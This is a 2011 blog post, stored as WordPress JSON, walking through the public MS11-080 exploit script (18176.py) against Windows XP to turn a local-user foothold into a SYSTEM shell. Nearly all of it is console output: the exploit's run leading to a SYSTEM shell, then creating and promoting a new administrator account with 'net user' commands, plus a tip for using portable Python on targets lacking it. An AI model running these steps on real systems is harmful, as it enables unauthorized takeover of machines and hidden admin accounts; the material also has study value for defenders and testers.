{"id":280,"date":"2011-12-19T18:25:25","date_gmt":"2011-12-19T17:25:25","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=280"},"modified":"2011-12-19T18:29:08","modified_gmt":"2011-12-19T17:29:08","slug":"ms11-080-priv-escalation","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/12\/19\/ms11-080-priv-escalation\/","title":{"rendered":"MS11-080 priv escalation"},"content":{"rendered":"<p>So you&#8217;ve got access to a box but it&#8217;s only as a local user and you want SYSTEM like most people, step in <a href=\"http:\/\/www.exploit-db.com\/exploits\/18176\/\" target=\"_blank\">18176.py<\/a>. As this code was written in python you&#8217;ll need a local copy of python on the box in order to priv up.<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/><\/div><\/td><td><div class=\"bash codecolorer\">C:\\Documents and Settings\\user\\Desktop<span class=\"sy0\">&gt;<\/span><span class=\"nu0\">18176<\/span>.py<br \/>\nUsage: <span class=\"nu0\">18176<\/span>.py <span class=\"re5\">-O<\/span> TARGET_OS<br \/>\nOptions:<br \/>\n&nbsp; -h, <span class=\"re5\">--help<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;show this <span class=\"kw3\">help<\/span> message and <span class=\"kw3\">exit<\/span><br \/>\n&nbsp; <span class=\"re5\">-O<\/span> TARGET_OS, <span class=\"re5\">--target-os<\/span>=TARGET_OS<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Target OS. Accepted values: XP, 2K3<br \/>\nC:\\Documents and Settings\\user\\Desktop<span class=\"sy0\">&gt;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>My first attempt was with python version 3.2.2. and for some reason the code kept failing.<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/><\/div><\/td><td><div class=\"bash codecolorer\">C:\\Documents and Settings\\user\\Desktop<span class=\"sy0\">&gt;<\/span><span class=\"nu0\">18176<\/span>.py<br \/>\n&nbsp; File <span class=\"st0\">&quot;C:\\Documents and Settings\\Administrator\\Desktop\\18176.py&quot;<\/span>, line <span class=\"nu0\">56<\/span><br \/>\n&nbsp; &nbsp; print <span class=\"st0\">&quot;[+] Retrieving %s info...&quot;<\/span> <span class=\"sy0\">%<\/span> drvname<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^<br \/>\nSyntaxError: invalid syntax<br \/>\nC:\\Documents and Settings\\user\\Desktop<span class=\"sy0\">&gt;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Python version 2.7 seemed to work just fine \ud83d\ude42<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/><\/div><\/td><td><div class=\"bash codecolorer\">C:\\Documents and Settings\\user\\Desktop<span class=\"sy0\">&gt;<\/span>net user newadmin <span class=\"sy0\">\/<\/span>add<br \/>\nSystem error <span class=\"nu0\">5<\/span> has occurred.<br \/>\nAccess is denied.<br \/>\nC:\\Documents and Settings\\user\\Desktop<span class=\"sy0\">&gt;<\/span><span class=\"nu0\">18176<\/span>.py <span class=\"re5\">-O<\/span> XP<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">&gt;<\/span><span class=\"br0\">&#93;<\/span> MS11-080 Privilege Escalation Exploit<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">&gt;<\/span><span class=\"br0\">&#93;<\/span> Matteo Memelli - ryujin<span class=\"sy0\">@<\/span>offsec.com<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">&gt;<\/span><span class=\"br0\">&#93;<\/span> Release Date <span class=\"nu0\">28<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">11<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">2011<\/span><br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Retrieving Kernel info...<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Kernel version: ntkrnlpa.exe<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Kernel base address: 0x804d7000L<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> HalDispatchTable address: 0x8054d038L<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Retrieving hal.dll info...<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> hal.dll base address: 0x806e5000L<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> HaliQuerySystemInformation address: 0x806fbbbaL<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> HalpSetSystemInformation address: 0x806fe436L<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Triggering AFDJoinLeaf pointer overwrite...<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Spawning a SYSTEM shell...<br \/>\nC:\\WINDOWS\\system32<span class=\"sy0\">&gt;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>And now for the quick new user \ud83d\ude42<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/><\/div><\/td><td><div class=\"bash codecolorer\">C:\\WINDOWS\\system32<span class=\"sy0\">&gt;<\/span>net user newadmin Secret01 <span class=\"sy0\">\/<\/span>add<br \/>\nThe <span class=\"kw3\">command<\/span> completed successfully.<br \/>\nC:\\WINDOWS\\system32<span class=\"sy0\">&gt;<\/span>net localgroup Administrators newadmin <span class=\"sy0\">\/<\/span>add<br \/>\nThe <span class=\"kw3\">command<\/span> completed successfully.<br \/>\nC:\\WINDOWS\\system32<span class=\"sy0\">&gt;<\/span>net user<br \/>\nUser accounts <span class=\"kw1\">for<\/span> \\\\<br \/>\n<span class=\"re5\">------------------------------------------------------------------<\/span><br \/>\nAdministrator &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ASPNET &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Guest<br \/>\nHelpAssistant &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;newadmin &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SUPPORT_388945a0<br \/>\nuser<br \/>\nThe <span class=\"kw3\">command<\/span> completed with one or <span class=\"kw2\">more<\/span> errors.<br \/>\nC:\\WINDOWS\\system32<span class=\"sy0\">&gt;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>I got thinking, yeah I could attempt to rewrite this exploit in another language but that&#8217;s way past my skill level and available time. So what about a portable version of python? Step in <a href=\"http:\/\/www.portablepython.com\/\" target=\"_blank\">PortablePython<\/a>! The download is 45MB and once extracted it&#8217;s 222MB. Then it&#8217;s just a simple case of pointing the python.exe at the code \ud83d\ude42<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/><\/div><\/td><td><div class=\"bash codecolorer\">C:\\Documents and Settings\\user\\Desktop<span class=\"sy0\">&gt;<\/span>PortablePy\\App\\python.exe <span class=\"nu0\">18176<\/span>.py <span class=\"re5\">-O<\/span> XP<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">&gt;<\/span><span class=\"br0\">&#93;<\/span> MS11-080 Privilege Escalation Exploit<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">&gt;<\/span><span class=\"br0\">&#93;<\/span> Matteo Memelli - ryujin<span class=\"sy0\">@<\/span>offsec.com<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">&gt;<\/span><span class=\"br0\">&#93;<\/span> Release Date <span class=\"nu0\">28<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">11<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">2011<\/span><br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Retrieving Kernel info...<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Kernel version: ntkrnlpa.exe<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Kernel base address: 0x804d7000L<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> HalDispatchTable address: 0x8054d038L<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> Retrieving hal.dll info...<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> hal.dll base address: 0x806e5000L<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> HaliQuerySystemInformation address: 0x806fbbbaL<br \/>\n<span class=\"br0\">&#91;<\/span>+<span class=\"br0\">&#93;<\/span> HalpSetSystemInformation address: 0x806fe436L<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Triggering AFDJoinLeaf pointer overwrite...<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Spawning a SYSTEM shell...<br \/>\nC:\\WINDOWS\\system32<span class=\"sy0\">&gt;<\/span>net user newuser Secret01 <span class=\"sy0\">\/<\/span>add<br \/>\nThe <span class=\"kw3\">command<\/span> completed successfully.<br \/>\nC:\\WINDOWS\\system32<span class=\"sy0\">&gt;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>It would be nice to see how much I could strip out of the portable version in order to decrease it&#8217;s size, but then that&#8217;s just something else for a rainy day.<\/p>\n<p>How long before this is written in powershell or added to meterpreter&#8217;s getsystem code?<\/p>\n","protected":false},"excerpt":{"rendered":"<p>So you&#8217;ve got access to a box but it&#8217;s only as a local user and you want SYSTEM like most people, step in 18176.py. As this code was written in python you&#8217;ll need a local copy of python on the box in order to priv up. 1234567C:\\Documents and Settings\\user\\Desktop&gt;18176.py Usage: 18176.py -O TARGET_OS Options: &nbsp; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[109,108,112,110,111,113],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/280"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=280"}],"version-history":[{"count":8,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/280\/revisions"}],"predecessor-version":[{"id":288,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/280\/revisions\/288"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}